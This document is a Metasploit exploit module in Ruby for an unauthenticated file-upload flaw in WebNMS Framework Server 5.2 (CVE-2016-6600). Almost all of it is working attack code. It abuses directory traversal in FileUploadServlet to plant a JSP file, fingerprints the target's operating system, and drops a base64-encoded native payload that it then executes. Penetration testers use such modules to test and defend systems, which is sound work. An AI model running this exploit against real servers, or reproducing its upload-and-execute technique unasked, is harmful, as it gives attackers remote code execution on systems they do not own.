223 lines
6.7 KiB
Ruby
223 lines
6.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'WebNMS Framework Server Arbitrary File Upload',
|
|
'Description' => %q(
|
|
This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an
|
|
unauthenticated user to upload text files by using a directory traversal attack
|
|
on the FileUploadServlet servlet. A JSP file can be uploaded that then drops and
|
|
executes a malicious payload, achieving code execution under the user which the
|
|
WebNMS server is running.
|
|
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
|
|
Windows and Linux.
|
|
),
|
|
'Author' =>
|
|
[
|
|
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2016-6600'],
|
|
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ],
|
|
[ 'URL', 'http://seclists.org/fulldisclosure/2016/Aug/54' ]
|
|
],
|
|
'DefaultOptions' => { 'WfsDelay' => 15 },
|
|
'Privileged' => false,
|
|
'Platform' => %w(linux win),
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', {} ],
|
|
[
|
|
'WebNMS Framework Server 5.2 / 5.2 SP1 - Linux',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => ARCH_X86
|
|
}
|
|
],
|
|
[
|
|
'WebNMS Framework Server 5.2 / 5.2 SP1 - Windows',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X86
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Jul 4 2016'
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(9090),
|
|
OptString.new('TARGETURI', [ true, "WebNMS path", '/'])
|
|
],
|
|
self.class
|
|
)
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'),
|
|
'method' => 'GET'
|
|
)
|
|
if res && res.code == 405
|
|
return Exploit::CheckCode::Detected
|
|
else
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
end
|
|
|
|
def upload_payload(payload, is_exploit)
|
|
jsp_name = 'WebStart-' + rand_text_alpha(rand(8) + 3) + '.jsp'
|
|
if is_exploit
|
|
print_status("#{peer} - Uploading payload...")
|
|
end
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'),
|
|
'method' => 'POST',
|
|
'data' => payload.to_s,
|
|
'ctype' => 'text/html',
|
|
'vars_get' => { 'fileName' => '../jsp/' + jsp_name }
|
|
)
|
|
|
|
if res && res.code == 200 && res.body.to_s =~ /Successfully written polleddata file/
|
|
if is_exploit
|
|
print_good("#{peer} - Payload uploaded successfully")
|
|
end
|
|
return jsp_name
|
|
else
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def pick_target
|
|
return target if target.name != 'Automatic'
|
|
|
|
print_status("#{peer} - Determining target")
|
|
os_finder_payload = %{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
|
|
jsp_name = upload_payload(os_finder_payload, false)
|
|
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'jsp', jsp_name),
|
|
'method' => 'GET'
|
|
)
|
|
|
|
if res && res.code == 200
|
|
register_files_for_cleanup('jsp/' + jsp_name)
|
|
if res.body.include? "Linux"
|
|
return targets[1]
|
|
elsif res.body.include? "Windows"
|
|
return targets[2]
|
|
end
|
|
end
|
|
|
|
return nil
|
|
end
|
|
|
|
def generate_jsp_payload
|
|
opts = { arch: @my_target.arch, platform: @my_target.platform }
|
|
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
|
|
exe = generate_payload_exe(opts)
|
|
base64_exe = Rex::Text.encode_base64(exe)
|
|
|
|
native_payload_name = rand_text_alpha(rand(6) + 3)
|
|
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
|
|
|
|
var_raw = rand_text_alpha(rand(8) + 3)
|
|
var_ostream = rand_text_alpha(rand(8) + 3)
|
|
var_buf = rand_text_alpha(rand(8) + 3)
|
|
var_decoder = rand_text_alpha(rand(8) + 3)
|
|
var_tmp = rand_text_alpha(rand(8) + 3)
|
|
var_path = rand_text_alpha(rand(8) + 3)
|
|
var_proc2 = rand_text_alpha(rand(8) + 3)
|
|
|
|
if @my_target['Platform'] == 'linux'
|
|
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
|
|
chmod = %|
|
|
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
|
|
Thread.sleep(200);
|
|
|
|
|
|
|
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
|
|
cleanup = %|
|
|
Thread.sleep(200);
|
|
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
|
|
|
|
|
else
|
|
chmod = ''
|
|
cleanup = ''
|
|
end
|
|
|
|
jsp = %|
|
|
<%@page import="java.io.*"%>
|
|
<%@page import="sun.misc.BASE64Decoder"%>
|
|
<%
|
|
try {
|
|
String #{var_buf} = "#{base64_exe}";
|
|
BASE64Decoder #{var_decoder} = new BASE64Decoder();
|
|
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
|
|
|
|
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
|
|
String #{var_path} = #{var_tmp}.getAbsolutePath();
|
|
|
|
BufferedOutputStream #{var_ostream} =
|
|
new BufferedOutputStream(new FileOutputStream(#{var_path}));
|
|
#{var_ostream}.write(#{var_raw});
|
|
#{var_ostream}.close();
|
|
#{chmod}
|
|
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
|
|
#{cleanup}
|
|
} catch (Exception e) {
|
|
}
|
|
%>
|
|
|
|
|
jsp.delete!("\n\r\t")
|
|
return jsp
|
|
end
|
|
|
|
def exploit
|
|
@my_target = pick_target
|
|
if @my_target.nil?
|
|
print_error("#{peer} - Unable to select a target, we must bail.")
|
|
return
|
|
else
|
|
print_status("#{peer} - Selected target #{@my_target.name}")
|
|
end
|
|
|
|
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
|
|
# Fail if this is the case and ask the user to select an appropriate payload.
|
|
if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/
|
|
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
|
|
end
|
|
|
|
jsp_payload = generate_jsp_payload
|
|
jsp_name = upload_payload(jsp_payload, true)
|
|
if jsp_name.nil?
|
|
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
|
|
else
|
|
register_files_for_cleanup('jsp/' + jsp_name)
|
|
end
|
|
|
|
print_status("#{peer} - Executing payload...")
|
|
send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'jsp', jsp_name),
|
|
'method' => 'GET'
|
|
)
|
|
end
|
|
end
|